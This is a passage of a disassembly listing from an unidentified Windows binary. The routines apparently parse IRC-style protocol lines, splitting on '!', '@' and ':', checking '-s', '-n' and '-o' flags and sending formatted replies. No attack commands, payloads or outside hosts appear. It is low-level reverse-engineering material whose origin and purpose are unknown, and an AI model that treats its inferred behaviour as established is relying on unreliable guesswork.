		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410662:				; CODE XREF: sub_410030+4FFj
		call	sub_401226


loc_410667:				; CODE XREF: sub_410030+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4113F7
		mov	ecx, offset byte_4493FD
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493B4
		call	sub_4017EE
		mov	ecx, dword_4490D4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_4106A0:				; CODE XREF: sub_410030+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449108
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410722
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_44910C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410727


loc_410722:				; CODE XREF: sub_410030+69Bj
		mov	[esp+20h+var_D], 1


loc_410727:				; CODE XREF: sub_410030+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410794
		cmp	[ebp+16h], bl
		jnz	short loc_410770
		mov	ecx, offset byte_4493FD
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493B4
		call	sub_4017EE
		mov	edx, dword_4490D4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410770:				; CODE XREF: sub_410030+713j
		mov	ecx, offset byte_4E8E55
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490DC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410794:				; CODE XREF: sub_410030+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490E4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410845
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41082D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41082D:				; CODE XREF: sub_410030+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410845:				; CODE XREF: sub_410030+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490E0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410880
		mov	al, byte_449814
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410884


loc_410880:				; CODE XREF: sub_410030+840j
		mov	[esp+20h+var_D], bl


loc_410884:				; CODE XREF: sub_410030+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B91
		push	offset asc_444C7C ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4108E2
		mov	ecx, eax
		call	sub_402072


loc_4108E2:				; CODE XREF: sub_410030+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41090E
		mov	ecx, eax
		call	sub_4010BE


loc_41090E:				; CODE XREF: sub_410030+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B7C


loc_41096F:				; CODE XREF: sub_410030+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410997
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410999
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_410030+95Aj
		xor	esi, esi


loc_410999:				; CODE XREF: sub_410030+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4109CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4109CF
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_410030+98Cj
		mov	[esp+20h+var_C], ebx


loc_4109CF:				; CODE XREF: sub_410030+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4109F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4109F8
; ---------------------------------------------------------------------------


loc_4109F2:				; CODE XREF: sub_410030+9B7j
		mov	[esi+93h], bl


loc_4109F8:				; CODE XREF: sub_410030+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A13
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410A19
; ---------------------------------------------------------------------------


loc_410A13:				; CODE XREF: sub_410030+9D8j
		mov	[esi+94h], bl


loc_410A19:				; CODE XREF: sub_410030+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A34
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A3A
; ---------------------------------------------------------------------------


loc_410A34:				; CODE XREF: sub_410030+9F9j
		mov	[esi+95h], bl


loc_410A3A:				; CODE XREF: sub_410030+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F40
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F40
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410B29
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410B29:				; CODE XREF: sub_410030+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41096F


loc_410B7C:				; CODE XREF: sub_410030+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410B91:				; CODE XREF: sub_410030+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410EAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410C0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410C0D
; ---------------------------------------------------------------------------


loc_410C0B:				; CODE XREF: sub_410030+BCEj
		xor	esi, esi


loc_410C0D:				; CODE XREF: sub_410030+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410C3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410C3E
; ---------------------------------------------------------------------------


loc_410C3C:				; CODE XREF: sub_410030+BFFj
		xor	edi, edi


loc_410C3E:				; CODE XREF: sub_410030+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C66
; ---------------------------------------------------------------------------


loc_410C60:				; CODE XREF: sub_410030+C25j
		mov	[esi+95h], bl


loc_410C66:				; CODE XREF: sub_410030+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C87
; ---------------------------------------------------------------------------


loc_410C81:				; CODE XREF: sub_410030+C46j
		mov	[esi+93h], bl


loc_410C87:				; CODE XREF: sub_410030+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410CA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410CA8
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410030+C67j
		mov	[esi+94h], bl


loc_410CA8:				; CODE XREF: sub_410030+C70j
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C70 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C70 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C6C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E7D
		add	eax, 2
		push	eax
		jmp	short loc_410E82
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_410030+E45j
		push	offset byte_448F40


loc_410E82:				; CODE XREF: sub_410030+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410E9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410E9F:				; CODE XREF: sub_410030+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: sub_410030+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411080
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410F72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC6E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410F72:				; CODE XREF: sub_410030+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E55
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C7C ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C70 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493FD
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493B4
		call	sub_4017EE
		mov	edx, dword_4490D4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411080:				; CODE XREF: sub_410030+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411238
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C70 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C6C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411223
		push	offset asc_444C6C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F40
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		push	offset byte_448F40
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_4111EB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_4111EB:				; CODE XREF: sub_410030+11A9j
		push	offset byte_4E8E55
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41120F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E55
		push	edx
		call	sub_401FDC


loc_41120F:				; CODE XREF: sub_410030+1173j
					; sub_410030+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411223:				; CODE XREF: sub_410030+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_410030+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4112BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449110
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4112C4


loc_4112BF:				; CODE XREF: sub_410030+1238j
		mov	[esp+20h+var_D], 1


loc_4112C4:				; CODE XREF: sub_410030+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C70 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C70 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C70 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC6E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4113F7
; ---------------------------------------------------------------------------


loc_4113F0:				; CODE XREF: sub_410030+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4113F7:				; CODE XREF: sub_410030+1D3j
					; sub_410030+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410072


loc_411400:				; CODE XREF: sub_410030+3Cj
					; sub_410030+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_410030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411930	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411930	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4119B0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4119C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4119C8:				; CODE XREF: ___:004119BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4119E0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4119E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401979
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
